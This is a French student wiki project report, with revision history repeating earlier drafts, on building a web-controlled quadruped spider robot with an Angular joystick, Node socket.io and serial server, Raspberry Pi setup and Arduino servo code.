"top" : posYstr+"px",
"position" : "absolute",
"height" : "100px"
};
var socket = io.connect('http://172.26.79.4:8080');
$scope.clickDown = function(event){
if($scope.mouseIsDown==false)
{
$scope.mouseIsDown = true;
$scope.positionX = event.target.offsetLeft+(event.offsetX-50);
$scope.positionY = event.target.offsetTop+(event.offsetY-50);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
else
{
$scope.mouseIsDown = false;
$scope.positionX = 200;
$scope.positionY = 200;
console.log($scope.mouseIsDown);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
};
$scope.moveJoystickOutside = function(event) {
if ($scope.mouseIsDown == true) {
window.setTimeout(function() {
ecartX=parseInt(getComputedStyle(joystick).left, 10);
ecartY=parseInt(getComputedStyle(joystick).top, 10);
//on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image
//+20 en Y à cause du footer qui sera toujours de taille constante
positionXProvisoire = event.clientX - ecartX -250;
positionYProvisoire = -(event.clientY - ecartY-330);
console.log("posi prov X: "+positionXProvisoire);
console.log("posi prov Y: "+positionYProvisoire);
//partie dans le cercle
if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) >= 0 && Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) < 1)
{
//50=moitié de la dimension de l'image du bouton avec l'araignée.
//a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.
$scope.positionX=event.clientX-ecartX-50;
$scope.positionY=event.clientY-ecartY-130;
console.log("posi X: "+$scope.positionX);
console.log("posi Y: "+$scope.positionY);
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//partie en dehors du cercle
else
{
hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));
angle=Math.acos(positionXProvisoire/hypothenuse);
if(-(event.clientY - ecartY-330)<0)
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((Math.sin(angle)*100)+200);
}
else
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((-Math.sin(angle)*100)+200);
}
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//attendre un peu pour ne pas embrouiller la transmition du signal
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
}, 10);//delay en millisecondes
}
};
});

Voici le rendu de l'application web, que nous trouvons à l'adresse 172.26.79.4 (Adresse IP d'un ordinateur de la salle de projet) sur le port 8080 :

[[Fichier:AppliWeb.jpg]]

== Séance 2 ==

=== Partie mécanique ===

Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances.

- Réalisation des pièces nécessaires à la construction de l'araignée :

Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad :

[[Image:Femur.jpg|vignette|center|upright=3.4|alt=Femur|Femur]]

[[Image:Coxa.jpg|vignette|center|upright=3.4|alt=Coxa|Coxa]]

[[Image:Coxa_renforce.jpg|vignette|center|upright=3.4|alt=Coxa renforce|coxa renfoce]]

[[Image:Tibia_sc.jpg|vignette|center|upright=3.4|alt=Tibia|Tibia]]

Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces.
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.

=== Partie informatique ===

Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module "serial-port" de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série.
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.

server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)

var express = require('express');
var app = express();
var server = require('http').Server(app);
var io = require('socket.io')(server);
var SerialPort = require("serialport");
var port = new SerialPort("/dev/ttyUSB1",{baudRate: 115200, parity : 'none', autoOpen :false});
app.use(express.static(__dirname+"/../.."));
app.use(express.static(__dirname+"/../../../bower_components/"));
port.open(function (error){
if(error)
{
console.log('Error while opening the port ' + error);
}
else
{
io.on('connection', function(socket) {
console.log('new connection');
socket.on('message', function (message) {
port.write(message, function(err) {
if (err) {
return console.log('Error on write: ', err.message);
}
else
{
console.log('Position : ' + message);
}
});
});
});
}
});
server.listen(8080, function() {
console.log('server up and running at 8080 port');
});

== Séance 3 ==

=== Partie électronique ===

=== Partie informatique ===

envoi des données sur le port série

Configuration de la Raspberry :

- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34
La Raspberry peut ainsi communiquer avec le réseau Polytech

- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry

- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.

=== Partie mécanique ===

''Assemblage des pièces''' :

Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.
Nous avons alors, pour chaque patte :

- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre

Voici le rendu des pattes assemblées :

[[Fichier:Pattes.jpg]]

Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).

[[Fichier:Percage.jpg]]

La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.

== Séance supplémentaire 1 ==

=== Partie électronique ===

La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board.

Voici une photo du rendu de l'araignée câblée :

[[Fichier:Araignée.jpg]]

=== Partie informatique ===

C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.
Le code réalisé est donc le suivant:

int delai=300;
//val AD

int ADepauleArriere=100;
int ADepauleAvant=40;
int ADcoudeBas=100;//50
int ADcoudeDroit=30;//100
int ADpoignetPerpendiculaire=70;
int ADpoignetDroit=90;

//val ARG
int ARGepauleArriere=20;
int ARGepauleAvant=80;
int ARGcoudeBas=80;
int ARGcoudeDroit=140;
int ARGpoignetPerpendiculaire=60;
int ARGpoignetDroit=40;

//VAL AG
int AGepauleArriere=40;
int AGepauleAvant=100;
int AGcoudeBas=110;
int AGcoudeDroit=30;//haut
int AGpoignetPerpendiculaire=90;
int AGpoignetDroit=40;
//VAL ARD
int ARDepauleArriere=70;
int ARDepauleAvant=30;
int ARDcoudeBas=100;
int ARDcoudeDroit=30;//haut
int ARDpoignetPerpendiculaire=140;
int ARDpoignetDroit=180;
int i;
int j;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);
}

void loop() {
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);
servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);
servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;
}

Ce code permet à l'araignée d'avancer ses pates de façon "asynchrone" (en réalité, l'asynchronisme est impossible sous arduino).

Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :

int a;
int b;
int aPrint;
int bPrint;
int aMoins,bMoins;
int debut;
char firstVal[50];
char secVal[50];
char byteBuffer;

void setup() {
servoADepaule.attach(2);

servoADcoude.attach(3);

servoADpoignet.attach(4);
servoADpoignet.write(ADpoignetPerpendiculaire);
servoADepaule.write(ADepauleAvant);
servoADcoude.write(ADcoudeBas);
servoARGepaule.attach(5);
servoARGcoude.attach(6);
servoARGpoignet.attach(7);
servoARGpoignet.write(ARGpoignetPerpendiculaire);
servoARGepaule.write(ARGepauleArriere);
servoARGcoude.write(ARGcoudeBas);
servoAGepaule.attach(8);
servoAGcoude.attach(9);
servoAGpoignet.attach(10);
servoAGpoignet.write(AGpoignetPerpendiculaire);
servoAGepaule.write(AGepauleAvant);
servoAGcoude.write(AGcoudeBas);
servoARDepaule.attach(11);
servoARDcoude.attach(12);
servoARDpoignet.attach(13);
servoARDpoignet.write(ARDpoignetPerpendiculaire);
servoARDepaule.write(ARDepauleArriere);
servoARDcoude.write(ARDcoudeBas);

delay(2000);
i=0;
j=25;
Serial.begin(115200);
a=0;
b=0;
aMoins=0;
bMoins=0;
i=0;
debut=1;
byteBuffer='a';
}

void loop() {
if(Serial.available() > 0)
{
while(Serial.available() > 0)
{
delay(10);
byteBuffer = Serial.read();
if(debut==1)
{
if(byteBuffer==',')
{
debut=0;
}
else
{
a=10*a;
switch(byteBuffer)
{
case '-':
a=0;
aMoins=1;
break;
case '1':
a=a+1;
break;
case '2':
a=a+2;
break;
case '3':
a=a+3;
break;
case '4':
a=a+4;
break;
case '5':
a=a+5;
break;
case '6':
a=a+6;
break;
case '7':
a=a+7;
break;
case '8':
a=a+8;
break;
case '9':
a=a+9;
break;
default:
break;
}
}
}
else
{
if(byteBuffer==';')
{
if(aMoins==1)
{
a=-a;
}
if(bMoins==1)
{
b=-b;
}
debut=1;
if(b>0)
{
servoARDepaule.write(ARDepauleAvant+j);
servoAGepaule.write(AGepauleAvant-j);
servoARGepaule.write(ARGepauleAvant-i);
servoADepaule.write(ADepauleAvant+i);
delay(20);
if(j==50)
{
//on remet en avant AG et ARD
servoAGcoude.write(AGcoudeDroit);
delay(200);
servoAGepaule.write(AGepauleAvant);
delay(200);
servoAGcoude.write(AGcoudeBas);
delay(200);

servoARDcoude.write(ARDcoudeDroit);
delay(200);
servoARDepaule.write(ARDepauleAvant);
delay(200);
servoARDcoude.write(ARDcoudeBas);
delay(200);
j=0;
}
if(i==50)
{
//on remet en avant AD et ARG
servoADcoude.write(ADcoudeDroit);
delay(200);
servoADepaule.write(ADepauleAvant);
delay(200);
servoADcoude.write(ADcoudeBas);
delay(200);

servoARGcoude.write(ARGcoudeDroit);
delay(200);
servoARGepaule.write(ARGepauleAvant);
delay(200);
servoARGcoude.write(ARGcoudeBas);
delay(200);
i=0;
}
i=i+5;
j=j+5;

}
aMoins=0;
bMoins=0;
}
else
{
b=10*b;
switch(byteBuffer)
{
case '-':
b=0;
bMoins=1;
break;
case '1':
b=b+1;
break;
case '2':
b=b+2;
break;
case '3':
b=b+3;
break;
case '4':
b=b+4;
break;
case '5':
b=b+5;
break;
case '6':
b=b+6;
break;
case '7':
b=b+7;
break;
case '8':
b=b+8;
break;
case '9':
b=b+9;
break;
default:
break;
}
}
}
}
}
}

== Conclusion ==

En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante.
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...
Voici le rendu vidéo de notre projet :

[https://www.youtube.com/watch?v=olmXs5BT4MU| Rendu vidéo final (Youtube)]

Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants. Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.

Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.

Fichier:Video-1497448769.mp4

2017-06-14T14:53:33Z

Nmehanna : Video groupe 1 TD2

Video groupe 1 TD2

Projet IMA3 P1, 2016/2017, TD2

2017-06-11T22:54:45Z

Nmehanna : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Robot quadripode =

== Cahier des charges ==

=== Description du système ===

Notre projet est de réaliser un robot quadripode contrôlé par notre interface web.
Celui ci aura pour objectif de :
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.

Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.

En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.

=== Le matériel ===

Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)
* 12 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .
* Un module wifi pour la raspberry Pi.
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.
* Une breadboard pour tester les circuits .
* Un câble nappe pour raspberry pi .

La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .

== Séance 1 ==

=== Partie électronique ===
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’entendra pas sur les 3 seéances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.

Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionné notre moteur grâce au FPGA.

Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.

[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]

Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.

Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.

Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant "dire" au FPGA que quand notre compteur arrive a 200, il passe à 1. Il reste à 1 jusqu'a la valeur choisie puis passe à 0 jusque 200.

[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]

Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.

[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]

Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.

<center><include iframe src="https://www.youtube.com/embed/g1hDQJHcsJw" width="320px" height="320px" frameborder="0" scrolling="yes"/></center>

=== Partie informatique ===

Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.

Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.

Nous utilisons donc 2 événements :
* lors d'un clic : une variable est mise à jour "mouseIsDown" pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0).
* lors d'un mouvement de la souris si "mouseIsDown" est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.

La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100.
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).

main.js : (définition de l'application et de ses dépendances)

angular.module('spiderApp')
.controller('MainCtrl', function () {
this.awesomeThings = [
'HTML5 Boilerplate',
'AngularJS',
'Karma'
];
});

deplacement.js : (fonctionnement dynamique du joystick de la page web)

angular.module('spiderApp').controller('deplacementCtrl', function($scope) {
$scope.positionX=200;
$scope.positionY=200;
$scope.mouseIsDown=false;
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "absolute",
"height" : "100px"
};
var socket = io.connect('http://172.26.79.4:8080');
$scope.clickDown = function(event){
if($scope.mouseIsDown==false)
{
$scope.mouseIsDown = true;
$scope.positionX = event.target.offsetLeft+(event.offsetX-50);
$scope.positionY = event.target.offsetTop+(event.offsetY-50);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
else
{
$scope.mouseIsDown = false;
$scope.positionX = 200;
$scope.positionY = 200;
console.log($scope.mouseIsDown);
posXstr=$scope.positionX.toString();
posYstr=$scope.positionY.toString();
$scope.posjoy = {
"left" : posXstr+"px",
"top" : posYstr+"px",
"position" : "relative",
"height" : "100px"
};
}
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
};
$scope.moveJoystickOutside = function(event) {
if ($scope.mouseIsDown == true) {
window.setTimeout(function() {
ecartX=parseInt(getComputedStyle(joystick).left, 10);
ecartY=parseInt(getComputedStyle(joystick).top, 10);
//on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image
//+20 en Y à cause du footer qui sera toujours de taille constante
positionXProvisoire = event.clientX - ecartX -250;
positionYProvisoire = -(event.clientY - ecartY-330);
console.log("posi prov X: "+positionXProvisoire);
console.log("posi prov Y: "+positionYProvisoire);
//partie dans le cercle
if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) >= 0 && Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) < 1)
{
//50=moitié de la dimension de l'image du bouton avec l'araignée.
//a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.
$scope.positionX=event.clientX-ecartX-50;
$scope.positionY=event.clientY-ecartY-130;
console.log("posi X: "+$scope.positionX);
console.log("posi Y: "+$scope.positionY);
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//partie en dehors du cercle
else
{
hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));
angle=Math.acos(positionXProvisoire/hypothenuse);
if(-(event.clientY - ecartY-330)<0)
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((Math.sin(angle)*100)+200);
}
else
{
$scope.positionX=parseInt((Math.cos(angle)*100)+200);
$scope.positionY=parseInt((-Math.sin(angle)*100)+200);
}
posXstr = $scope.positionX.toString();
posYstr = $scope.positionY.toString();
$scope.posjoy = {
"left": posXstr + "px",
"top": posYstr + "px",
"position": "relative",
"height": "100px"
};
}
//attendre un peu pour ne pas embrouiller la transmition du signal
socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');
}, 10);//delay en millisecondes
}
};
});

!!!!!!!!!!!!!!!!!!!!!!!PHOTO APPLICATION WEB !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

== Séance 2 ==

=== Partie électronique ===

=== Partie mécanique ===

Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances.

- Réalisation des pièces nécessaires à la construction de l'araignée :

Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad :

PHOTO DES PIECES FREECAD

Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces.
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.

=== Partie informatique ===

Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module "serial-port" de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série.
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.

server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)

var express = require('express');
var app = express();
var server = require('http').Server(app);
var io = require('socket.io')(server);
var SerialPort = require("serialport");
var port = new SerialPort("/dev/ttyUSB1",{baudRate: 115200, parity : 'none', autoOpen :false});
app.use(express.static(__dirname+"/../.."));
app.use(express.static(__dirname+"/../../../bower_components/"));
port.open(function (error){
if(error)
{
console.log('Error while opening the port ' + error);
}
else
{
io.on('connection', function(socket) {
console.log('new connection');
socket.on('message', function (message) {
port.write(message, function(err) {
if (err) {
return console.log('Error on write: ', err.message);
}
else
{
console.log('Position : ' + message);
}
});
});
});
}
});
server.listen(8080, function() {
console.log('server up and running at 8080 port');
});

== Séance 3 ==

=== Partie électronique ===

=== Partie informatique ===

envoi des données sur le port série

Configuration de la Raspberry :

- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34
La Raspberry peut ainsi communiquer avec le réseau Polytech

